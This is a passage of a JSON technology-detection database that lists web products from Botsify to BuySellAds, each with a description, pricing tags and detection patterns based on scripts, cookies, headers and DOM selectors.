\"https://botsify.com\"\n  },\n  \"Botsonic\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Botsonic is a no-code, custom AI chatbot builder that enables businesses to interact with their website visitors/users through natural language conversations.\",\n    \"icon\": \"Botsonic.svg\",\n    \"js\": {\n      \"Botsonic\": \"\",\n      \"botsonicConfig-Botsonic\": \"\",\n      \"botsonic_widget\": \"\",\n      \"loaded-Botsonic\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://botsonic.com\"\n  },\n  \"Bottle\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Bottle is an all-in-one software for meal delivery businesses, enhancing operational efficiency and customer management.\",\n    \"icon\": \"Bottle.svg\",\n    \"implies\": [\n      \"Vue.js\",\n      \"Stripe\"\n    ],\n    \"js\": {\n      \"webpackChunkbottle_merchant_vue\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://bottle.com\"\n  },\n  \"Boulevard\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Boulevard is a business management platform tailored to streamline appointment-based operations, specifically designed for the wellness industry.\",\n    \"dom\": [\n      \"iframe[src*='.boulevard.io']\"\n    ],\n    \"icon\": \"Boulevard.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.joinboulevard\\\\.com/\"\n    ],\n    \"website\": \"https://www.joinblvd.com\"\n  },\n  \"Boutiq\": {\n    \"cats\": [\n      100,\n      103\n    ],\n    \"description\": \"Boutiq is a personal video shopping solution.\",\n    \"icon\": \"Boutiq.svg\",\n    \"js\": {\n      \"caazamApp\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.getboutiq.com\"\n  },\n  \"Boutir\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Boutir is a platform offering a minimalist shop interface and design system.\",\n    \"icon\": \"Boutir.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.boutir\\\\.com/\"\n    ],\n    \"website\": \"https://www.boutir.com\"\n  },\n  \"BowNow\": {\n    \"cats\": [\n      32\n    ],\n    \"cookies\": {\n      \"bownow_act\": \"\",\n      \"bownow_aid\": \"\",\n      \"bownow_cid\": \"\",\n      \"bownow_mbid\": \"\"\n    },\n    \"description\": \"BowNow is a marketing automation tool with business card management, sales support, analysis, and email magazine functions.\",\n    \"icon\": \"BowNow.svg\",\n    \"js\": {\n      \"_bownow_ts\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://bow-now.jp\"\n  },\n  \"Bowtie\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Bowtie is an AI-powered messaging platform for businesses that lets customers book appointments, buy products, and ask questions.\",\n    \"dom\": [\n      \"div#bowtie-widget-container\"\n    ],\n    \"icon\": \"Bowtie.png\",\n    \"js\": {\n      \"bowtieDataToken\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.bowtie.ai\"\n  },\n  \"Boxtal\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Boxtal is a cloud-based multi-carrier shipping solution.\",\n    \"icon\": \"Boxtal.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bBoxtal\\\\b\"\n    ],\n    \"website\": \"https://www.boxtal.com\"\n  },\n  \"Bpost\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Bpost, also known as the Belgian Post Group, is the Belgian company responsible for the delivery of national and international mail.\",\n    \"icon\": \"Bpost.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bBpost\\\\b\"\n    ],\n    \"website\": \"https://www.bpost.be\"\n  },\n  \"BrainSINS\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"BrainSINS is a personalisation technology and ecommerce analytics services to online retailers.\",\n    \"icon\": \"BrainSINS.png\",\n    \"js\": {\n      \"BrainSINS\": \"\",\n      \"BrainSINSRecommender\": \"\",\n      \"brainsins_token\": \"\",\n      \"launchBrainSINS\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"mw\\\\.brainsins\\\\.com\",\n      \"cloudfront\\\\.net/brainsins(?:_v)?(\\\\d+)\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://brainsins.com\"\n  },\n  \"Braintree\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Braintree, a division of PayPal, specializes in mobile and web payment systems for ecommerce companies. Braintree provides clients with a merchant account and a payment gateway.\",\n    \"icon\": \"Braintree.svg\",\n    \"js\": {\n      \"Braintree\": \"\",\n      \"Braintree.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"js\\\\.braintreegateway\\\\.com\"\n    ],\n    \"website\": \"https://www.braintreepayments.com\"\n  },\n  \"Branch\": {\n    \"cats\": [\n      32,\n      10\n    ],\n    \"description\": \"Branch is a mobile deep linking system to increase engagement and retention.\",\n    \"icon\": \"Branch.svg\",\n    \"js\": {\n      \"branch.setBranchViewData\": \"\",\n      \"branch_callback__0\": \"\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.branch\\\\.io\",\n      \"app\\\\.link/_r\\\\?sdk=web([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://branch.io\"\n  },\n  \"Brandfolder\": {\n    \"cats\": [\n      95\n    ],\n    \"description\": \"Brandfolder is a cloud-based digital asset management platform.\",\n    \"icon\": \"Brandfolder.svg\",\n    \"js\": {\n      \"Brandfolder.account\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.brandfolder\\\\.com/\"\n    ],\n    \"website\": \"https://brandfolder.com\"\n  },\n  \"Braze\": {\n    \"cats\": [\n      32,\n      10\n    ],\n    \"description\": \"Braze is a customer engagement platform that delivers messaging experiences across push, email, in-product, and more.\",\n    \"icon\": \"Braze.svg\",\n    \"js\": {\n      \"appboy\": \"\",\n      \"appboyQueue\": \"\",\n      \"braze.BrazeSdkMetadata\": \"\",\n      \"brazeQueue\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js\\\\.appboycdn\\\\.com/web-sdk/([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.braze.com\"\n  },\n  \"Bread\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"Bread is a buy now, pay later platform for ecommerce websites.\",\n    \"dom\": [\n      \"#bread-mini-cart-btn\"\n    ],\n    \"icon\": \"Bread.svg\",\n    \"js\": {\n      \"BreadCalc\": \"\",\n      \"BreadError\": \"\",\n      \"BreadLoaded\": \"\",\n      \"BreadShopify\": \"\",\n      \"bread.appHost\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.getbread\\\\.com\"\n    ],\n    \"website\": \"https://www.breadpayments.com\"\n  },\n  \"Breadcrumb NavXT\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Breadcrumb NavXT is a WordPress plugin compatible with WordPress versions 4.9 and up.\",\n    \"html\": [\n      \"<!-- Breadcrumb NavXT ([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Breadcrumb NavXT.svg\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://github.com/mtekk/Breadcrumb-NavXT\"\n  },\n  \"Breakdance\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Breakdance is a page builder that features a drag-and-drop interface for users to create pages using full site editing functionality.\",\n    \"icon\": \"Breakdance.svg\",\n    \"js\": {\n      \"BreakdanceFrontend\": \"\",\n      \"BreakdanceHeaderBuilder\": \"\",\n      \"BreakdanceSwiper\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://breakdance.com\"\n  },\n  \"Breinify\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Breinify is a powerful personalisation engine that enables brands to create personalised digital experiences at an individual level across web, e-mail, SMS and app channels.\",\n    \"icon\": \"Breinify.png\",\n    \"js\": {\n      \"Breinify.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://home.breinify.ai\"\n  },\n  \"Brevo\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Brevo is a live chat system designed for customer support and engagement on websites.\",\n    \"icon\": \"Brevo.svg\",\n    \"js\": {\n      \"BrevoConversations\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.brevo.com\"\n  },\n  \"Bricks\": {\n    \"cats\": [\n      51,\n      80\n    ],\n    \"description\": \"Bricks is a premium WordPress theme that lets you visually build performant WordPress sites.\",\n    \"icon\": \"Bricks.svg\",\n    \"pricing\": [\n      \"low\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/bricks/assets/\"\n    ],\n    \"website\": \"https://bricksbuilder.io\"\n  },\n  \"Bricksite\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Bricksite is a free website online tool where clients can create free accounts with various themes and features.\",\n    \"icon\": \"Bricksite.svg\",\n    \"js\": {\n      \"brickSite.common.apiUrls.base\": \"\\\\.bricksite\\\\.com\"\n    },\n    \"meta\": {\n      \"generator\": \"^Bricksite$\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://bricksite.io\"\n  },\n  \"Bridgetown\": {\n    \"cats\": [\n      57\n    ],\n    \"description\": \"Bridgetown is an open-source static site generator built with Ruby, facilitating the creation of fast and efficient websites by generating static HTML and CSS files.\",\n    \"dom\": [\n      \"link[href^='/_bridgetown/static/']\"\n    ],\n    \"icon\": \"Bridgetown.svg\",\n    \"implies\": [\n      \"Ruby\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"^/_bridgetown/static/.+\\\\.js$\"\n    ],\n    \"website\": \"https://www.bridgetownrb.com\"\n  },\n  \"BrightEdge\": {\n    \"cats\": [\n      54\n    ],\n    \"description\": \"BrightEdge is an SEO solution and content performance marketing platform.\",\n    \"icon\": \"BrightEdge.svg\",\n    \"js\": {\n      \"BEJSSDK.CLIENT_VERSION\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"_bright3.VERSION\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"be_sdk_options\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.brightedge\\\\.com/\"\n    ],\n    \"website\": \"https://www.brightedge.com\"\n  },\n  \"BrightInfo\": {\n    \"cats\": [\n      32,\n      74\n    ],\n    \"description\": \"BrightInfo is an automated content personalisation solution.\",\n    \"icon\": \"BrightInfo.png\",\n    \"js\": {\n      \"_BI_\": \"\\\\;confidence:50\",\n      \"_biq\": \"\\\\;confidence:50\",\n      \"biJsUrl\": \"//app\\\\.brightinfo\\\\.com\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.brightinfo\\\\.com\"\n    ],\n    \"website\": \"https://www.brightinfo.com\"\n  },\n  \"BrightLocal\": {\n    \"cats\": [\n      54\n    ],\n    \"description\": \"BrightLocal is an all-in-one local SEO dashboard for websites.\",\n    \"icon\": \"BrightLocal.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.brightlocal\\\\.com/\"\n    ],\n    \"website\": \"https://www.brightlocal.com\"\n  },\n  \"Brightcove\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"Brightcove is a cloud-based online video platform.\",\n    \"dom\": [\n      \"iframe[src*='players.brightcove.'], link[href*='players.brightcove.']\"\n    ],\n    \"icon\": \"Brightcove.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"players\\\\.brightcove\\\\.net/\"\n    ],\n    \"website\": \"https://www.brightcove.com\"\n  },\n  \"Brightspot\": {\n    \"cats\": [\n      1\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"^Brightspot$\"\n    },\n    \"icon\": \"Brightspot.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"website\": \"https://www.brightspot.com\"\n  },\n  \"Brilliant Web-to-Lead\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Brilliant Web-to-Lead plugin facilitates the technical integration between WordPress installations and Salesforce CRM accounts, enabling the exchange and synchronization of data.\",\n    \"icon\": \"Brilliant Web-to-Lead.png\",\n    \"implies\": [\n      \"Salesforce\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/salesforce-wordpress-to-lead/\"\n    ],\n    \"website\": \"https://brilliantplugins.com/downloads/salesforce/\"\n  },\n  \"Brimble\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Brimble is a cloud platform for deploying frontend web applications.\",\n    \"headers\": {\n      \"server\": \"^Brimble$\",\n      \"x-brimble-id\": \"\"\n    },\n    \"icon\": \"brimble.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://brimble.io\"\n  },\n  \"Brizy\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Brizy is a visual website builder that allows users to create and design websites using drag-and-drop functionality without the need for coding skills.\",\n    \"icon\": \"Brizy.svg\",\n    \"js\": {\n      \"BrizyLibs.Flatpickr\": \"\",\n      \"BrizyProLibs\": \"\",\n      \"Brz.emit\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.brizy.io\"\n  },\n  \"Broadstreet\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Broadstreet is an ad manager that caters specifically to the needs of direct, digital ad sales.\",\n    \"icon\": \"Broadstreet.png\",\n    \"js\": {\n      \"broadstreet\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.broadstreetads\\\\.com\"\n    ],\n    \"website\": \"https://broadstreetads.com\"\n  },\n  \"Bronto\": {\n    \"cats\": [\n      32,\n      75\n    ],\n    \"description\": \"Bronto is a cloud-based email marketing automation software.\",\n    \"icon\": \"Bronto.svg\",\n    \"js\": {\n      \"BrontoShopify\": \"\",\n      \"bronto.versions.sca\": \"(.+)\\\\;version:\\\\1\",\n      \"brontoCookieConsent\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:snip|cdn)\\\\.bronto\\\\.com\"\n    ],\n    \"website\": \"https://bronto.com\"\n  },\n  \"Brownie\": {\n    \"cats\": [\n      1,\n      6\n    ],\n    \"description\": \"Brownie is a framework, CMS, ecommerce and ERP omni-channel platform to manage your entire business in one cloud solution.\",\n    \"dom\": [\n      \"a[href*='browniesuite.com'][target='_blank'] img[src*='brownie']\"\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"Brownie\"\n    },\n    \"icon\": \"Brownie.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\",\n      \"Amazon Web Services\",\n      \"Bootstrap\",\n      \"jQuery\"\n    ],\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets\\\\.youthsrl\\\\.com/brownie\"\n    ],\n    \"website\": \"https://www.browniesuite.com\"\n  },\n  \"Browser-Update.org\": {\n    \"cats\": [\n      5,\n      59\n    ],\n    \"description\": \"Browser-update.org is a tool to unobtrusively notify visitors that they should update their web browser in order to use your website.\",\n    \"icon\": \"Browser-Update.org.png\",\n    \"js\": {\n      \"$bu_.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\",\n      \"$bu_getBrowser\": \"\"\n    },\n    \"website\": \"https://browser-update.org\"\n  },\n  \"BrowserCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"icon\": \"BrowserCMS.png\",\n    \"implies\": [\n      \"Ruby\"\n    ],\n    \"meta\": {\n      \"generator\": \"BrowserCMS ([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://browsercms.org\"\n  },\n  \"Bsale\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"_bsalemarket_session\": \"\"\n    },\n    \"description\": \"Bsale is an store management solution for retail businesses that sell both in store and online.\",\n    \"icon\": \"Bsale.svg\",\n    \"implies\": [\n      \"Nginx\"\n    ],\n    \"js\": {\n      \"Bsale.version\": \"([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"meta\": {\n      \"autor\": \"Bsale\",\n      \"generator\": \"Bsale\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.bsale.cl\"\n  },\n  \"Bubble\": {\n    \"cats\": [\n      51,\n      18\n    ],\n    \"description\": \"Bubble is a no-code platform that lets anyone build web apps without writing any code.\",\n    \"headers\": {\n      \"x-bubble-capacity-limit\": \"\",\n      \"x-bubble-capacity-used\": \"\",\n      \"x-bubble-perf\": \"\"\n    },\n    \"icon\": \"Bubble.svg\",\n    \"implies\": [\n      \"Node.js\"\n    ],\n    \"js\": {\n      \"_bubble_page_load_data\": \"\",\n      \"bubble_environment\": \"\",\n      \"bubble_hostname_modifier\": \"\",\n      \"bubble_version\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://bubble.io\"\n  },\n  \"Budbee\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Budbee is a tech company that operates a logistics service for ecommerce.\",\n    \"icon\": \"Budbee.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bBudbee\\\\b\"\n    ],\n    \"website\": \"https://app.budbee.com/\"\n  },\n  \"BuddyPress\": {\n    \"cats\": [\n      87\n    ],\n    \"cpe\": \"cpe:2.3:a:buddypress:buddypress:0.1:*:*:*:*:wordpress:*:*\",\n    \"description\": \"BuddyPress is designed to allow schools, companies, sports teams, or any other niche community to start their own social network or communication tool.\",\n    \"icon\": \"BuddyPress.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/buddypress/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://buddypress.org\"\n  },\n  \"BugHerd\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"BugHerd is a cloud-based feedback collection and bug management tool.\",\n    \"icon\": \"BugHerd.svg\",\n    \"js\": {\n      \"BugHerdConfig\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.bugherd\\\\.com/\"\n    ],\n    \"website\": \"https://bugherd.com\"\n  },\n  \"BugSnag\": {\n    \"cats\": [\n      10,\n      13\n    ],\n    \"description\": \"Bugsnag is a cross-platform error monitoring, reporting, and resolution software.\",\n    \"icon\": \"BugSnag.svg\",\n    \"js\": {\n      \"Bugsnag\": \"\",\n      \"bugsnag\": \"\",\n      \"bugsnagClient\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/bugsnag.*\\\\.js\"\n    ],\n    \"website\": \"https://bugsnag.com\"\n  },\n  \"Bugcrowd\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Bugcrowd is a crowdsourced cybersecurity platform.\",\n    \"dns\": {\n      \"TXT\": [\n        \"bugcrowd-verification\"\n      ]\n    },\n    \"icon\": \"Bugcrowd.svg\",\n    \"website\": \"https://www.bugcrowd.com\"\n  },\n  \"Buglog\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Buglog is a tool for creating and sharing bug reports in real-time directly from the browser.\",\n    \"icon\": \"Buglog.svg\",\n    \"js\": {\n      \"buglog\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.buglog\\\\.io/\"\n    ],\n    \"website\": \"https://buglog.com\"\n  },\n  \"Bugzilla\": {\n    \"cats\": [\n      13\n    ],\n    \"cookies\": {\n      \"Bugzilla_login_request_cookie\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:mozilla:bugzilla:*:*:*:*:*:*:*:*\",\n    \"html\": [\n      \"href=\\\"enter_bug\\\\.cgi\\\">\",\n      \"<main id=\\\"bugzilla-body\\\"\",\n      \"<a href=\\\"https?://www\\\\.bugzilla\\\\.org/docs/([0-9.]+)/[^>]+>Help<\\\\;version:\\\\1\",\n      \"<span id=\\\"information\\\" class=\\\"header_addl_info\\\">version ([\\\\d.]+)<\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Bugzilla.svg\",\n    \"implies\": [\n      \"Perl\"\n    ],\n    \"js\": {\n      \"BUGZILLA\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"Bugzilla ?([\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.bugzilla.org\"\n  },\n  \"Builder.io\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Builder.io is a headless CMS with a powerful drag-and-drop visual editor that lets you build and optimize digital experiences with speed and flexibility. \",\n    \"dom\": [\n      \"[data-builder-content-id], img[src*='cdn.builder.io']\"\n    ],\n    \"icon\": \"Builder.svg\",\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://builder.io\",\n    \"xhr\": [\n      \"cdn\\\\.builder\\\\.io\"\n    ]\n  },\n  \"Buildertrend\": {\n    \"cats\": [\n      19\n    ],\n    \"dom\": [\n      \"iframe[src*='buildertrend.net'], script[src*='buildertrend.net']\"\n    ],\n    \"icon\": \"Buildertrend.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://buildertrend.com\"\n  },\n  \"Bullseye\": {\n    \"cats\": [\n      79\n    ],\n    \"description\": \"Bullseye is a store locator software designed for location marketers, providing tools to help customers find nearby stores easily.\",\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.bullseyelocations\\\\.com\"\n    },\n    \"icon\": \"Bullseye.svg\",\n    \"js\": {\n      \"bullseyeTracking\": \"\",\n      \"bullseyelistener\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.bullseyelocations.com\"\n  },\n  \"Bulma\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Bulma is a free class-based framework for CSS.\",\n    \"dom\": {\n      \"link[href*='bulma']\": {\n        \"attributes\": {\n          \"href\": \"(?:([\\\\d\\\\.]+)/css/)?bulma(?:-docs)?\\\\.min\\\\.css\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Bulma.svg\",\n    \"js\": {\n      \"Bulma.VERSION\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://bulma.io\"\n  },\n  \"Bump\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"Bump is an API contract management platform that helps document and track APIs by identifying changes in API structure, and keeping developers informed through an elegant documentation.\",\n    \"dom\": {\n      \".doc-navigation footer, footer.catalog-footer\": {\n        \"text\": \"Powered by Bump\"\n      }\n    },\n    \"icon\": \"Bump.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"freemium\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://bump.sh\"\n  },\n  \"Bunny\": {\n    \"cats\": [\n      31\n    ],\n    \"dom\": [\n      \"[src*='.b-cdn.net'],[data-src*='.b-cdn.net']\"\n    ],\n    \"headers\": {\n      \"Server\": \"^BunnyCDN\"\n    },\n    \"icon\": \"Bunny.svg\",\n    \"website\": \"https://bunny.net\"\n  },\n  \"Bunny Fonts\": {\n    \"cats\": [\n      17\n    ],\n    \"description\": \"Bunny Fonts is an open-source, privacy-first web font platform designed to put privacy back into the internet.\",\n    \"dom\": [\n      \"link[href*='fonts.bunny.net']\"\n    ],\n    \"icon\": \"Bunny.svg\",\n    \"implies\": [\n      \"Bunny\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://fonts.bunny.net\"\n  },\n  \"Business Catalyst\": {\n    \"cats\": [\n      1\n    ],\n    \"html\": [\n      \"<!-- BC_OBNW -->\"\n    ],\n    \"icon\": \"Business Catalyst.svg\",\n    \"scriptSrc\": [\n      \"CatalystScripts\"\n    ],\n    \"website\": \"https://businesscatalyst.com\"\n  },\n  \"Business Website Builder\": {\n    \"cats\": [\n      1\n    ],\n    \"icon\": \"Google.svg\",\n    \"url\": [\n      \"https?://[^.]+\\\\.business\\\\.page\"\n    ],\n    \"website\": \"https://businesswebsites.google.com/welcome\"\n  },\n  \"ButterCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"ButterCMS is a cloud-based headless content management system.\",\n    \"dom\": [\n      \"div[data-bg*='cdn.buttercms.com/'], img[src*='cdn.buttercms.com/'], link[href*='cdn.buttercms.com'], a[href*='cdn.buttercms.com/']\"\n    ],\n    \"icon\": \"butter-cms.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"website\": \"https://buttercms.com\"\n  },\n  \"ButterMove\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"ButterMove is a platform designed to streamline the process of moving homes by offering users a simplified approach to manage tasks, schedule services, and coordinate logistics.\",\n    \"icon\": \"ButterMove.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"widget\\\\.buttermove\\\\.com\"\n    ],\n    \"website\": \"https://www.buttermove.com\"\n  },\n  \"Buttonizer\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Buttonizer is a widget that enables website owners to incorporate custom and attention-grabbing call-to-action (CTA) buttons into their website design.\",\n    \"icon\": \"Buttonizer.svg\",\n    \"js\": {\n      \"Buttonizer\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"low\"\n    ],\n    \"scriptSrc\": [\n      \"wp-content/plugins/buttonizer-multifunctional-button/\",\n      \"cdn\\\\.buttonizer\\\\.io/\"\n    ],\n    \"website\": \"https://buttonizer.pro\"\n  },\n  \"Buy me a coffee\": {\n    \"cats\": [\n      5,\n      111\n    ],\n    \"description\": \"Buy me a coffee is a service for online content creators that they may use to receive tips and donations to support their work.\",\n    \"dom\": [\n      \"a[href*='www.buymeacoffee.com/'][target='_blank']\"\n    ],\n    \"icon\": \"Buy me a coffee.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdnjs\\\\.buymeacoffee\\\\.com/([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.buymeacoffee.com\"\n  },\n  \"Buy with Prime\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Buy with Prime is a feature offered by Amazon that allows Amazon Prime members to make purchases with the benefits associated with their Prime membership.\",\n    \"implies\": [\n      \"Amazon Pay\"\n    ],\n    \"js\": {\n      \"bwp.sku\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"code\\\\.buywithprime\\\\.amazon\\\\.com/\"\n    ],\n    \"website\": \"https://buywithprime.amazon.com\"\n  },\n  \"BuySafe\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"BuySafe is a website seal that signifies adherence to stringent safety standards, ensuring secure online transactions and safeguarding user data.\",\n    \"icon\": \"BuySafe.svg\",\n    \"js\": {\n      \"buySAFE\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"seal\\\\.buysafe\\\\.com/\"\n    ],\n    \"website\": \"https://www.buysafe.com\"\n  },\n  \"BuySellAds\": {\n    \"cats\": [\n      36\n    ],\n    \"icon\": \"BuySellAds.svg\",\n    \"js\": {\n      \"_bsa\": 